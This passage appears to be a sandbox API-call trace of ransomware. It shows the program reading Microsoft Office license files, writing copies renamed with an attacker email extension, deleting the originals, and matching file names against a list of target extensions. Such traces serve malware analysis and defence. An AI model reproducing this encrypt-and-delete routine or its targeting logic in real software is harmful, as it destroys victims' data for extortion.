office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0191.203] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.203] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0191.204] GetLastError () returned 0x0 [0191.204] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4ded, lpOverlapped=0x0) returned 1 [0191.207] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0191.210] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.211] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0191.211] SetEndOfFile (hFile=0x558) returned 1 [0191.211] CloseHandle (hObject=0x558) returned 1 [0191.211] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.211] SetEndOfFile (hFile=0x554) returned 1 [0191.216] CloseHandle (hObject=0x554) returned 1 [0191.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1 [0191.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0191.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0191.218] lstrlenW (lpString=".doc") returned 4 [0191.218] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.218] lstrlenW (lpString=".docx") returned 5 [0191.218] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.218] lstrlenW (lpString=".pdf") returned 4 [0191.218] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.218] lstrlenW (lpString=".xls") returned 4 [0191.218] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.218] lstrlenW (lpString=".xlsx") returned 5 [0191.219] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.219] lstrlenW (lpString=".ppt") returned 4 [0191.219] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0191.219] lstrlenW (lpString=".zip") returned 4 [0191.219] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.219] lstrlenW (lpString=".rar") returned 4 [0191.219] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.220] lstrlenW (lpString=".bz2") returned 4 [0191.220] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.220] lstrlenW (lpString=".7z") returned 3 [0191.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0191.220] lstrlenW (lpString=".dbf") returned 4 [0191.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0191.220] lstrlenW (lpString=".1cd") returned 4 [0191.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0191.220] lstrlenW (lpString=".jpg") returned 4 [0191.220] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.221] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11163) returned 1 [0191.221] CloseHandle (hObject=0x554) returned 1 [0191.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0191.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0191.223] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.223] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0191.224] GetLastError () returned 0x0 [0191.224] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2b9b, lpOverlapped=0x0) returned 1 [0191.227] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0191.229] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.230] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0191.230] SetEndOfFile (hFile=0x558) returned 1 [0191.230] CloseHandle (hObject=0x558) returned 1 [0191.230] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.361] SetEndOfFile (hFile=0x554) returned 1 [0191.365] CloseHandle (hObject=0x554) returned 1 [0191.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1 [0191.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0191.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0191.528] lstrlenW (lpString=".doc") returned 4 [0191.528] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.528] lstrlenW (lpString=".docx") returned 5 [0191.528] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.528] lstrlenW (lpString=".pdf") returned 4 [0191.528] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.528] lstrlenW (lpString=".xls") returned 4 [0191.528] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.528] lstrlenW (lpString=".xlsx") returned 5 [0191.528] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.528] lstrlenW (lpString=".ppt") returned 4 [0191.528] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0191.529] lstrlenW (lpString=".zip") returned 4 [0191.529] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.529] lstrlenW (lpString=".rar") returned 4 [0191.529] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.529] lstrlenW (lpString=".bz2") returned 4 [0191.529] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.529] lstrlenW (lpString=".7z") returned 3 [0191.529] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0191.529] lstrlenW (lpString=".dbf") returned 4 [0191.529] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0191.530] lstrlenW (lpString=".1cd") returned 4 [0191.530] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0191.530] lstrlenW (lpString=".jpg") returned 4 [0191.530] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.531] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=21728) returned 1 [0191.531] CloseHandle (hObject=0x550) returned 1 [0191.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0191.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0191.532] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.533] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0191.534] GetLastError () returned 0x0 [0191.534] ReadFile (in: hFile=0x550, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x54e0, lpOverlapped=0x0) returned 1 [0191.536] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x54f0, lpOverlapped=0x0) returned 1 [0191.538] ReadFile (in: hFile=0x550, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.538] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0191.538] SetEndOfFile (hFile=0x374) returned 1 [0191.538] CloseHandle (hObject=0x374) returned 1 [0191.538] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.538] SetEndOfFile (hFile=0x550) returned 1 [0191.543] CloseHandle (hObject=0x550) returned 1 [0191.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1 [0191.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0191.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0191.545] lstrlenW (lpString=".doc") returned 4 [0191.545] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.545] lstrlenW (lpString=".docx") returned 5 [0191.545] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.545] lstrlenW (lpString=".pdf") returned 4 [0191.545] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.545] lstrlenW (lpString=".xls") returned 4 [0191.545] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.545] lstrlenW (lpString=".xlsx") returned 5 [0191.545] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.545] lstrlenW (lpString=".ppt") returned 4 [0191.545] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0191.546] lstrlenW (lpString=".zip") returned 4 [0191.546] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.546] lstrlenW (lpString=".rar") returned 4 [0191.546] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.546] lstrlenW (lpString=".bz2") returned 4 [0191.546] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.546] lstrlenW (lpString=".7z") returned 3 [0191.546] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0191.546] lstrlenW (lpString=".dbf") returned 4 [0191.546] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0191.546] lstrlenW (lpString=".1cd") returned 4 [0191.546] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0191.546] lstrlenW (lpString=".jpg") returned 4 [0191.546] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.547] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11620) returned 1 [0191.547] CloseHandle (hObject=0x550) returned 1 [0191.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0191.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0191.548] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.548] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0191.550] GetLastError () returned 0x0 [0191.550] ReadFile (in: hFile=0x550, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d64, lpOverlapped=0x0) returned 1 [0191.552] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0191.554] ReadFile (in: hFile=0x550, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.554] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0191.554] SetEndOfFile (hFile=0x374) returned 1 [0191.554] CloseHandle (hObject=0x374) returned 1 [0191.554] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.555] SetEndOfFile (hFile=0x550) returned 1 [0191.558] CloseHandle (hObject=0x550) returned 1 [0191.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1 [0191.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0191.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0191.749] lstrlenW (lpString=".doc") returned 4 [0191.749] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.749] lstrlenW (lpString=".docx") returned 5 [0191.749] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.749] lstrlenW (lpString=".pdf") returned 4 [0191.750] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString=".xls") returned 4 [0191.750] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString=".xlsx") returned 5 [0191.750] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.750] lstrlenW (lpString=".ppt") returned 4 [0191.750] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0191.750] lstrlenW (lpString=".zip") returned 4 [0191.750] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString=".rar") returned 4 [0191.750] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString=".bz2") returned 4 [0191.750] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString=".7z") returned 3 [0191.750] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0191.750] lstrlenW (lpString=".dbf") returned 4 [0191.750] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0191.750] lstrlenW (lpString=".1cd") returned 4 [0191.750] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0191.750] lstrlenW (lpString=".jpg") returned 4 [0191.751] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.248] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.249] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0192.250] GetLastError () returned 0x0 [0192.250] ReadFile (in: hFile=0x510, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0192.252] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0192.255] ReadFile (in: hFile=0x510, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.255] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x112, lpOverlapped=0x0) returned 1 [0192.256] SetEndOfFile (hFile=0x56c) returned 1 [0192.256] CloseHandle (hObject=0x56c) returned 1 [0192.256] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.256] SetEndOfFile (hFile=0x510) returned 1 [0192.260] CloseHandle (hObject=0x510) returned 1 [0192.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1 [0192.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0192.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0192.262] 